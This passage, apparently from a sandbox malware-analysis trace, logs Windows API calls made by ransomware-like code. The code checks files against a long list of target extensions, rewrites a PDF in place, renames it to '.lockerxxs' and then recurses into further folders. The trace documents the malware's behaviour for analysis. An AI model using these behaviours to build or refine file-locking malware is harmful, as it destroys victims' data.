HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.pptx") returned 0 [0087.661] lstrlenA (lpString="*.pptx") returned 6 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.doc") returned 0 [0087.661] lstrlenA (lpString="*.doc") returned 5 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.dot") returned 0 [0087.661] lstrlenA (lpString="*.dot") returned 5 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.docx") returned 0 [0087.661] lstrlenA (lpString="*.docx") returned 6 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.7z") returned 0 [0087.661] lstrlenA (lpString="*.7z") returned 4 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.tar") returned 0 [0087.661] lstrlenA (lpString="*.tar") returned 5 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.bz2") returned 0 [0087.662] lstrlenA (lpString="*.bz2") returned 5 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.gz") returned 0 [0087.662] lstrlenA (lpString="*.gz") returned 4 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.mkv") returned 0 [0087.662] lstrlenA (lpString="*.mkv") returned 5 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.eml") returned 0 [0087.662] lstrlenA (lpString="*.eml") returned 5 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.msg") returned 0 [0087.662] lstrlenA (lpString="*.msg") returned 5 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.edb") returned 0 [0087.662] lstrlenA (lpString="*.edb") returned 5 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.accdb") returned 0 [0087.662] lstrlenA (lpString="*.accdb") returned 7 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.odb") returned 0 [0087.662] lstrlenA (lpString="*.odb") returned 5 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.java") returned 0 [0087.662] lstrlenA (lpString="*.java") returned 6 [0087.662] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.asm") returned 0 [0087.663] lstrlenA (lpString="*.asm") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.pfx") returned 0 [0087.663] lstrlenA (lpString="*.pfx") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.pem") returned 0 [0087.663] lstrlenA (lpString="*.pem") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.p12") returned 0 [0087.663] lstrlenA (lpString="*.p12") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.gpg") returned 0 [0087.663] lstrlenA (lpString="*.gpg") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.vsd") returned 0 [0087.663] lstrlenA (lpString="*.vsd") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.odg") returned 0 [0087.663] lstrlenA (lpString="*.odg") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.raw") returned 0 [0087.663] lstrlenA (lpString="*.raw") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.nef") returned 0 [0087.663] lstrlenA (lpString="*.nef") returned 5 [0087.663] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.svg") returned 0 [0087.663] lstrlenA (lpString="*.svg") returned 5 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.psd") returned 0 [0087.664] lstrlenA (lpString="*.psd") returned 5 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.vmx") returned 0 [0087.664] lstrlenA (lpString="*.vmx") returned 5 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.vmdk") returned 0 [0087.664] lstrlenA (lpString="*.vmdk") returned 6 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.vdi") returned 0 [0087.664] lstrlenA (lpString="*.vdi") returned 5 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.lay6") returned 0 [0087.664] lstrlenA (lpString="*.lay6") returned 6 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.mpeg") returned 0 [0087.664] lstrlenA (lpString="*.mpeg") returned 6 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.djvu") returned 0 [0087.664] lstrlenA (lpString="*.djvu") returned 6 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.tiff") returned 0 [0087.664] lstrlenA (lpString="*.tiff") returned 6 [0087.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.backup") returned 0 [0087.665] lstrlenA (lpString="*.backup") returned 8 [0087.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.pdf") returned 1 [0087.665] lstrlenA (lpString="*.pdf") returned 5 [0087.665] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" [0087.665] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" [0087.665] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf." [0087.665] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf.lockerxxs" [0087.665] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lkn6d4xoushq34.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.666] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xda2f [0087.666] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4e8e2490, dwHighDateTime=0x1d5e73c), lpLastAccessTime=0x407536*(dwLowDateTime=0x4b243a80, dwHighDateTime=0x1d5e1ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4b243a80, dwHighDateTime=0x1d5e1ea)) returned 1 [0087.666] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.666] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xda09, lpOverlapped=0x0) returned 1 [0087.668] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf") returned="lKn6D4xOUSHQ34.pdf" [0087.669] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.670] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xda09, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xda09, lpOverlapped=0x0) returned 1 [0087.670] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.670] CloseHandle (hObject=0x8c) returned 1 [0087.670] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lkn6d4xoushq34.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lkn6d4xoushq34.pdf.lockerxxs")) returned 1 [0087.672] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c00032f, dwReserved1=0x4e00c4, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0087.672] lstrcmpA (lpString1=".", lpString2="Macromedia") returned -1 [0087.672] lstrcmpA (lpString1="..", lpString2="Macromedia") returned -1 [0087.672] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf") returned="lKn6D4xOUSHQ34.pdf" [0087.672] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0087.672] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned 56 [0087.672] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0087.673] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.673] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0087.673] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.673] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.673] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0087.673] lstrcmpA (lpString1=".", lpString2="Flash Player") returned -1 [0087.673] lstrcmpA (lpString1="..", lpString2="Flash Player") returned -1 [0087.673] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*.*") returned="*.*" [0087.673] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0087.674] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned 69 [0087.674] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.674] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.674] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.674] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.674] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.674] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0087.674] lstrcmpA (lpString1=".", lpString2="#SharedObjects") returned 1 [0087.674] lstrcmpA (lpString1="..", lpString2="#SharedObjects") returned 1 [0087.674] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*.*") returned="*.*" [0087.674] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0087.675] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned 84 [0087.675] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.725] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.728] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.729] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.729] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.729] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1 [0087.729] lstrcmpA (lpString1=".", lpString2="P7Y3F7QB") returned -1 [0087.729] lstrcmpA (lpString1="..", lpString2="P7Y3F7QB") returned -1 [0087.729] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*.*") returned="*.*" [0087.729] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="P7Y3F7QB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" [0087.729] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned 93 [0087.729] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.843] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.843] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.843] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.843] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.843] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.844] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.844] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0 [0087.844] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.844] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530023, dwReserved1=0x610068, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0087.844] lstrcmpA (lpString1=".", lpString2="macromedia.com") returned -1 [0087.844] lstrcmpA (lpString1="..", lpString2="macromedia.com") returned -1 [0087.844] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*.*") returned="*.*" [0087.844] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0087.844] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 84 [0087.844] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x370050, dwReserved1=0x330059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.845] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.845] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, 